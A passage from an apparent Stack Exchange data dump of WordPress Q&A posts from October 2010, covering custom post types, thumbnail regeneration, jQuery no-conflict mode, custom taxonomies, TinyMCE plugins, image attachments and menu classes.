code?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based on the comments below and &lt;a href=&quot;http://bit.ly/is-home-fails-with-cpts&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;subsequent research&lt;/strong&gt;&lt;/a&gt; after better understanding the problem it appears &lt;strong&gt;appropriate values for &lt;code&gt;is_home()&lt;/code&gt; and &lt;code&gt;is_single()&lt;/code&gt; were never really defined for custom post types&lt;/strong&gt;. So one of the better solutions to the problem is to create a post type specific theme template page, i.e. &lt;code&gt;single-tools.php&lt;/code&gt; if the post type is &lt;code&gt;tools&lt;/code&gt;, and define sidebars specifically for that post type. &lt;strong&gt;But if you must route everything through one &lt;code&gt;single.php&lt;/code&gt;&lt;/strong&gt; then here are some functions that you could use in place of &lt;code&gt;is_home()&lt;/code&gt; and &lt;code&gt;is_single()&lt;/code&gt; to achieve the expected results and you can store these in your theme's &lt;code&gt;functions.php&lt;/code&gt; file &lt;em&gt;(or one of of the files of a plugin)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_only_home() {&#xA;  $post_type = get_query_var('post_type');&#xA;  return is_home() &amp;amp;&amp;amp; empty($post_type);&#xA;}&#xA;&#xA;function is_any_single() {&#xA;  $post_type = get_query_var('post_type');&#xA;  return is_single() || !empty($post_type);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taking your first code example above and applying these function would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if (is_only_home()) {&#xA;    dynamic_sidebar('frontpage-sidebar');&#xA;  }&#xA;  if (is_any_single()) {&#xA;    dynamic_sidebar('single-post-sidebar');&#xA;  }&#xA;  ....&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-14T23:19:21.630" LastActivityDate="2010-10-14T23:19:21.630" CommentCount="9" />
  <row Id="2887" PostTypeId="2" ParentId="2571" CreationDate="2010-10-14T07:34:17.523" Score="1" ViewCount="" Body="&lt;p&gt;Apparently the answer is to read the installation instructions properly the first time round. The syntax within a contact 7 form is: &lt;code&gt;[cf7cal inputname]&lt;/code&gt; or &lt;code&gt;[cf7cal* inputname]&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-10-14T07:34:17.523" />
  <row Id="2888" PostTypeId="1" AcceptedAnswerId="2890" CreationDate="2010-10-14T08:42:34.550" Score="1" ViewCount="387" Body="&lt;p&gt;I would like to be able to refresh the thumbnail cache programmatically, not sure where to hook it, but at present any design changes mean re-uploading loads of images!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-14T09:27:28.577" Title="Can I refresh the thumbnails programmatically?" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="2889" PostTypeId="1" AcceptedAnswerId="2891" CreationDate="2010-10-14T08:55:41.790" Score="2" ViewCount="430" Body="&lt;p&gt;The wordpress crop tool is greyed out for me in Firefox 3.6 (and IE7/8). I have disabled firefox add-ons and tried the solution here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1597/wordpress-image-editor-not-working-conflict&quot;&gt;http://wordpress.stackexchange.com/questions/1597/wordpress-image-editor-not-working-conflict&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this hasn't resolved the issue. Anyone know how wordpress determines whether to enable the crop button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP version is 3.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2011-03-04T09:49:59.480" Title="Wordpress crop tool greyed out" Tags="&lt;images&gt;&lt;editor&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2890" PostTypeId="2" ParentId="2888" CreationDate="2010-10-14T09:08:03.663" Score="3" ViewCount="" Body="&lt;p&gt;You may want to look at the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails by Viper007Bond&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this is how to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function regenerateThumbnails() {&#xA;&#xA;    $images = $wpdb-&amp;gt;get_results( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_type = 'attachment' AND post_mime_type LIKE 'image/%'&quot; );&#xA;&#xA;    foreach ( $images as $image ) {&#xA;        $id = $image-&amp;gt;ID;&#xA;        $fullsizepath = get_attached_file( $id );&#xA;&#xA;        if ( false === $fullsizepath || !file_exists($fullsizepath) )&#xA;            return;&#xA;&#xA;        if ( wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $fullsizepath ) ) )&#xA;            return true;&#xA;        else&#xA;            return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: This function is not very scalable. It will loop through all the images and regenerate thumbnails one by one, which may consume a large amount of memory. So, you may want to enhance it.&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-14T09:27:28.577" LastActivityDate="2010-10-14T09:27:28.577" CommentCount="5" />
  <row Id="2891" PostTypeId="2" ParentId="2889" CreationDate="2010-10-14T09:48:08.903" Score="2" ViewCount="" Body="&lt;p&gt;I'm 99% sure this was caused by the firephp plugin.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-14T09:48:08.903" CommentCount="3" />
  <row Id="2892" PostTypeId="2" ParentId="1763" CreationDate="2010-10-14T11:40:07.470" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Nate Dudek&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you'll likely want to start with &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BuddyPress&lt;/strong&gt;&lt;/a&gt; as it is essentially a &lt;em&gt;&quot;Facebook-in-a-Box&quot;&lt;/em&gt;, albeit a much more limited version of Facebook. It'll have more of the data structures you need to integrate with Facebook in the manner you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that you might find these articles helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2009/09/14/how-to-integrate-facebook-with-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How To Integrate Facebook With WordPress&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.webdesignbooth.com/12-useful-facebook-wordpress-plugins-for-bloggers/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;12 Useful Facebook Wordpress Plugins For Bloggers&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.quickonlinetips.com/archives/2009/07/facebook-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;6 Best Facebook WordPress Plugins&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.allfacebook.com/wordpress-facebook-plugins-2010-02&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;10 Must Have Facebook Plugins For WordPress&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-facebookconnect/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP-FacebookConnect Plugin&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/facebook&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Plugins on WordPress.org tagged with &quot;Facebook&quot;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-14T11:40:07.470" />
  <row Id="2893" PostTypeId="1" CreationDate="2010-10-14T14:33:30.077" Score="1" ViewCount="97" Body="&lt;p&gt;How do I go about making this? I've been trying to get add_feed and such but have had no luck.&lt;/p&gt;&#xA;" OwnerUserId="1124" LastActivityDate="2010-10-14T14:54:31.990" Title="Need Category RSS Feed that shows all posts" Tags="&lt;categories&gt;&lt;rss&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="2894" PostTypeId="2" ParentId="2893" CreationDate="2010-10-14T14:54:31.990" Score="1" ViewCount="" Body="&lt;p&gt;WordPress generates category feeds automagically. See &lt;a href=&quot;http://codex.wordpress.org/WordPress_Feeds#Categories_and_Tags&quot; rel=&quot;nofollow&quot;&gt;WordPress Feeds &gt; Categories and Tags&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-14T14:54:31.990" CommentCount="2" />
  <row Id="2895" PostTypeId="1" AcceptedAnswerId="2896" CreationDate="2010-10-14T15:27:21.193" Score="4" ViewCount="619" Body="&lt;p&gt;I know that jQuery is loaded, because I can switch out the $ for 'jQuery' and everything behaves as expected, but this will be a messy script if I can't fix this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    $(&quot;ul.vimeo_desc_feed li a&quot;).click(function(){&#xA;        alert($(this).attr('href'));&#xA;        return false;&#xA;    })&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Produces the error &lt;strong&gt;$ is not a function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    jQuery(&quot;ul.vimeo_desc_feed li a&quot;).click(function(){&#xA;        alert(jQuery(this).attr('href'));&#xA;        return false;&#xA;    })&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works fine.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-14T15:42:18.053" LastActivityDate="2010-10-14T15:42:18.053" Title="$ not defined using jQuery in Wordpress" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="2896" PostTypeId="2" ParentId="2895" CreationDate="2010-10-14T15:38:33.430" Score="6" ViewCount="" Body="&lt;p&gt;You can wrap your javascript inside a self-invoking function, then pass &lt;code&gt;jQuery&lt;/code&gt; as an argument to it, using &lt;code&gt;$&lt;/code&gt; as the local variable name. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;  $(document).ready(function(){&#xA;    $(&quot;ul.vimeo_desc_feed li a&quot;).click(function(){&#xA;      alert($(this).attr('href'));&#xA;      return false;&#xA;    })&#xA; });&#xA;}(jQuery));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should work as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly the WP-supplied version of jQuery (the one you get if you &lt;code&gt;wp_enqueue_script('jquery')&lt;/code&gt;) puts jQuery in no-conflict immediately, causing &lt;code&gt;$&lt;/code&gt; to be undefined.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-10-14T15:38:33.430" CommentCount="1" />
  <row Id="2897" PostTypeId="2" ParentId="2895" CreationDate="2010-10-14T15:41:38.207" Score="7" ViewCount="" Body="&lt;p&gt;You're almost there!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $(&quot;ul.vimeo_desc_feed li a&quot;).click(function(){&#xA;        alert($(this).attr('href'));&#xA;        return false;&#xA;    })&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to pass a reference to jQuery as the &lt;code&gt;$&lt;/code&gt; function into your method or it won't work.  If you just place a $ inside the first &lt;code&gt;function()&lt;/code&gt; call as I did above, things will be working just fine.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-14T15:41:38.207" CommentCount="5" />
  <row Id="2898" PostTypeId="1" AcceptedAnswerId="2903" CreationDate="2010-10-14T16:19:29.560" Score="1" ViewCount="68" Body="&lt;p&gt;I'm working on a site which needs to have pages and posts sorted into the same categories. The pages have their own individual hierarchy structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this using a custom taxonomy?&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-15T10:25:44.767" Title="Is there a way of storing posts and pages under the same hierarchy?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="2899" PostTypeId="1" AcceptedAnswerId="2904" CreationDate="2010-10-14T16:19:49.830" Score="0" ViewCount="736" Body="&lt;p&gt;I am trying to figure out how to change the default buttons on the TinyMCE editor in the Wordpress admin. Specifically, I would like to provide an 'insert table' button. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2010-10-14T17:53:58.437" Title="How to add 'Insert HTML Table' button to TinyMCE in admin?" Tags="&lt;wp-admin&gt;&lt;tinymce&gt;" AnswerCount="1" />
  <row Id="2900" PostTypeId="2" ParentId="1779" CreationDate="2010-10-14T16:50:00.407" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;locate_template( array( 'sitewideSettings.php' ), true )&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2010-10-14T16:50:00.407" CommentCount="2" />
  <row Id="2901" PostTypeId="1" AcceptedAnswerId="2902" CreationDate="2010-10-14T16:54:57.173" Score="1" ViewCount="93" Body="&lt;p&gt;I want to run an update script on pages that haven't been viewed and updated within X days. I'm using post meta to cache some related RSS feed data, and I want it updated once a week or two, but only if the page has actually been viewed within the last two or three weeks, bots included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an internal counter or whatnot that has this data, or am I going to have to build something that stores the UNIX timestamp as post meta upon page view?&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-10-14T21:30:55.270" Title="How to find time last viewed?" Tags="&lt;cache&gt;&lt;post-meta&gt;&lt;views&gt;&lt;timestamp&gt;" AnswerCount="2" />
  <row Id="2902" PostTypeId="2" ParentId="2901" CreationDate="2010-10-14T17:03:41.923" Score="0" ViewCount="" Body="&lt;p&gt;Post views log/count is not available natively. It is resource-intensive (database writes are much more expensive than reads) and won't work (if done in pure PHP) with most caching plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is number of plugins/services that offers Analytics via JS- or image-based tracking. Your best bet is to let such service handle analytics and pull data from there.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-14T17:03:41.923" />
  <row Id="2903" PostTypeId="2" ParentId="2898" CreationDate="2010-10-14T17:40:38.607" Score="3" ViewCount="" Body="&lt;p&gt;Yes, a custom taxonomy is the best way to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a cat breeder site I’ve set a taxonomy for colors (in german: Farbe):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;    'farbe',&#xA;    array( 'post', 'page' ),&#xA;    array(&#xA;        'hierarchical'  =&amp;gt; false,&#xA;        'label'         =&amp;gt; 'Farbe (Fell)',&#xA;        'query_var'     =&amp;gt; 'farbe',&#xA;        'rewrite'       =&amp;gt; array('slug' =&amp;gt; 'farbe')&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the third parameter &lt;code&gt;array( 'post', 'page' )&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can find all posts and page covering the color &lt;strong&gt;black&lt;/strong&gt; at &lt;a href=&quot;http://ig-bkh.de/farbe/black/&quot; rel=&quot;nofollow&quot;&gt;/farbe/black/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That’s all, WP will do the rest for you. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress will search for a &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Custom_Taxonomies_display&quot; rel=&quot;nofollow&quot;&gt;matching template&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To link to this taxonomy, add the following code to the meta data box (tags, categories, date etc.) of your posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_the_term_list( $post-&amp;gt;ID, 'farbe', ' · Farbe: ', ', ', '' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://example.com/farbe/black/&quot; rel=&quot;tag&quot;&amp;gt;black&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Screenshot for taxonomy “Farbe” in the post edit screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VQqQT.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2010-10-15T10:25:44.767" LastActivityDate="2010-10-15T10:25:44.767" CommentCount="7" />
  <row Id="2904" PostTypeId="2" ParentId="2899" CreationDate="2010-10-14T17:53:58.437" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Advanced&lt;/a&gt; plugin. I almost never launch a site without it.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-14T17:53:58.437" CommentCount="1" />
  <row Id="2905" PostTypeId="1" AcceptedAnswerId="2906" CreationDate="2010-10-14T19:15:18.523" Score="2" ViewCount="355" Body="&lt;p&gt;I am using the &quot;attach&quot; feature in the media library to link a set of images to specific pages. Our custom theme displays these attached images in a particular way.    &lt;img src=&quot;http://i.stack.imgur.com/iqj50.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are setting up Wordpress as a CMS for a client and we don't want them to have to attach images to posts / pages this way because it feels clunky to be editing page, then forcing the user to go to the media section and attach images to that page one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like our client to be able to attach a set of images to a post or page in a manner similar to the &quot;featured image&quot; feature. The user should also be able to add, remove and sort the images without leaving the page.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/i0xxi.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditorDisplayName="" LastEditDate="2010-10-14T20:30:08.713" LastActivityDate="2010-10-14T21:53:19.033" Title="Is there a plugin to make attaching images easier?" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;&lt;images&gt;&lt;media&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="2906" PostTypeId="2" ParentId="2905" CreationDate="2010-10-14T19:34:50.097" Score="3" ViewCount="" Body="&lt;p&gt;Actually, it's very easy to attach images to posts and pages from directly within the editor.  Just click on the Add an Image button (immediately to the right of Upload/Insert) to access the uploader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can upload as many images as you want to the media gallery for that page and edit the meta information attributed to each.  Then click &quot;Save Changes&quot; at the bottom to save the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as WordPress is concerned, these images will be &quot;attached&quot; to the post or page on which you added them ... no need to go to the Media Gallery to do an upload.  They'll only show up on the post or page if you click &quot;Insert into Post&quot; after you upload.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For those of you who haven't used this before ... You can access the uploader through these icons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/p4bqT.png&quot; alt=&quot;Upload/Insert Button Toolbar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The uploader itself will appear on the same page - you don't have to go anywhere else to use the feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1f7WD.png&quot; alt=&quot;Screenshot of the media gallery&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can upload multiple images at once.  Either click &quot;Select Files&quot; and select them one at a time, or select a bunch (click-and-drag) and they'll all upload at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/f0NuM.png&quot; alt=&quot;Upload multiple images at once&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the images are uploaded, you can manage them inside the post or page's internal gallery.  You can re-tag images, change the details attributed to each, and drag them around to re-order things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/e93Gp.png&quot; alt=&quot;Post media gallery&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-14T21:53:19.033" LastActivityDate="2010-10-14T21:53:19.033" CommentCount="6" />
  <row Id="2907" PostTypeId="2" ParentId="2880" CreationDate="2010-10-14T20:51:25.237" Score="5" ViewCount="" Body="&lt;p&gt;No, wordpress can not resize BMP files. Beware that it does not make sense to use BMP files in a website because a broad number of webbrowsers is not able to display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filetypes that are supported by Wordpress and which are widely supported by internet browsers are: GIF, JPG and PNG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those formats are optimized for internet use as they compress image data. BMP is a common image format but not in the internet because it has large file sizes.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-10-14T20:51:25.237" CommentCount="1" />
  <row Id="2908" PostTypeId="2" ParentId="2905" CreationDate="2010-10-14T21:03:21.940" Score="0" ViewCount="" Body="&lt;p&gt;I hate to answer my own question, but I randomly stumbled across this Wordpress plugin in a totally unrelated search today. It does exactly what I have been looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/attachments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/attachments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Turns out that this plugin doesn't use the native attachment features in Wordpress and creates a separate table that is plugin specific. For me that isn't a problem, I just thought I would pass along the info.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditorDisplayName="" LastEditDate="2010-10-14T21:13:47.527" LastActivityDate="2010-10-14T21:13:47.527" />
  <row Id="2909" PostTypeId="2" ParentId="1123" CreationDate="2010-10-14T21:04:45.350" Score="1" ViewCount="" Body="&lt;p&gt;Q: could i plugin an existing cache / cache plugin to do the caching for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: yes you could but the question is if that makes sense. the file-system is a pretty good database for image-files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: what is the best location for my own cache thing? should i put it under /wp-content/cache or /plugins/myplugin/mycache or even /themes/mytheme/cache ?&#xA;or is there even a better approach to this?&#xA;A: it always depends. a simple place is a subfolder in the uploads folder as that one is often write-able.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-10-14T21:04:45.350" />
  <row Id="2910" PostTypeId="2" ParentId="2816" CreationDate="2010-10-14T21:18:25.080" Score="5" ViewCount="" Body="&lt;p&gt;The code you posted is to have multiple wp-config.php-style wordpress configuration files with one codebase. the configuration is then based on the domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;imagine the localserver is listening on &lt;code&gt;http://localhost.localdomain/&lt;/code&gt; (no idea which one is the default with ubuntu), then the configuration file would be: &lt;code&gt;/etc/wordpress/config-localhost.localdomain.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is made so that the wordpress package can be upgraded w/o overwriting your own configuration. So the reason why this is done is to have an easy upgrade path with the ubuntu package manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this does not play well with multisite, but I have no clue. It should work flawlessly with normal wordpress usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Thomas MacDonald already suggested, you can always go with a manual install. I would recommend that as well because you wrote that you run performance and analyse tools and I think you want to do this on the original package. So I assume that there is no need for you to rely on the pre-made ubuntu wordpress package. That's mainly for those who want to install it the &quot;ubuntu way&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good start for you with linux, it really rocks for development. I'm sure you will enjoy it once you figured all the new things out.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-10-15T21:05:34.483" LastActivityDate="2010-10-15T21:05:34.483" CommentCount="2" />
  <row Id="2911" PostTypeId="2" ParentId="2901" CreationDate="2010-10-14T21:30:55.270" Score="1" ViewCount="" Body="&lt;p&gt;Most webservers have a so called logfile. When your site makes use of effective canonical permalinks, you can gain that information from the request URIs stored in the access-log-files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be run as a janitor job in the background once a day/week while querying the URIs against your site's permalink structure and a genereate superset of all URIs as a hash-table to post IDs.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-10-14T21:30:55.270" CommentCount="2" />
  <row Id="2912" PostTypeId="1" AcceptedAnswerId="3174" CreationDate="2010-10-14T21:57:00.903" Score="1" ViewCount="112" Body="&lt;p&gt;I just moved from a blogger site to a wordpress.com-hosted site. Both sites used the same domain, and I imported the blog posts from one to the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old site had, in the past, /blog.html as the main blog page. After some time, I decided I didn't need a &quot;main&quot; page -- most users went straight to the blog -- and started publishing the blog as the sites main page (I assume at /index.html). After I switched to wordpress.com, I find that &lt;a href=&quot;http://neilfein.com/blog.html&quot; rel=&quot;nofollow&quot;&gt;neilfein.com/blog.html&lt;/a&gt; now leads to nowhere. Wordpress.com tries to serve a similar page (and &lt;a href=&quot;http://neilfein.com/2004/10/01/blog-stuff/&quot; rel=&quot;nofollow&quot;&gt;finds one&lt;/a&gt;), but I would like it to lead to the main, index page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several links to this page around the web; is it possible me to put up a redirect page with the title blog.html that will lead users to the main page? The built-in pages functionality doesn't seem to do that. (Again, this is a site hosted at wordpress.com; if I had my own server, this would be a 30-second fix.) &lt;/p&gt;&#xA;" OwnerUserId="1243" LastActivityDate="2010-10-22T04:10:41.437" Title="Redirect within a wordpress.com-hosted site" Tags="&lt;wordpress.com&gt;&lt;redirect&gt;" AnswerCount="2" />
  <row Id="2913" PostTypeId="1" AcceptedAnswerId="2916" CreationDate="2010-10-14T23:00:12.697" Score="0" ViewCount="896" Body="&lt;p&gt;I don't know why the proper classes for menu item are not generated - all the elements in the tree which has subtree get only &lt;code&gt;menu-item menu-item-type-post_type&lt;/code&gt;. The elements, which don't have children, get proper classes after being clicked (active).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;http://lichens.ie/&quot; rel=&quot;nofollow&quot;&gt;http://lichens.ie/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the menu structure: &lt;a href=&quot;http://imgur.com/5Lj00.png&quot; rel=&quot;nofollow&quot;&gt;http://imgur.com/5Lj00.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'menu'      =&amp;gt; 'Main menu',&#xA;    'container' =&amp;gt; '',&#xA;    'menu_id'   =&amp;gt; 'nav',&#xA;);&#xA;wp_nav_menu($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you visit e.g. &lt;a href=&quot;http://lichens.ie/view-lichens-by/lichens-by-habitat/&quot; rel=&quot;nofollow&quot;&gt;http://lichens.ie/view-lichens-by/lichens-by-habitat/&lt;/a&gt; you can see that it has no 'current' class. As well as it's parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS Sorry for posting 'not working links' - it's because of reputation limitation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas - help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1244" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-10-15T06:07:15.907" LastActivityDate="2011-03-01T09:37:32.360" Title="wp_nav_menu doesn't generate parent/ancestor classes" 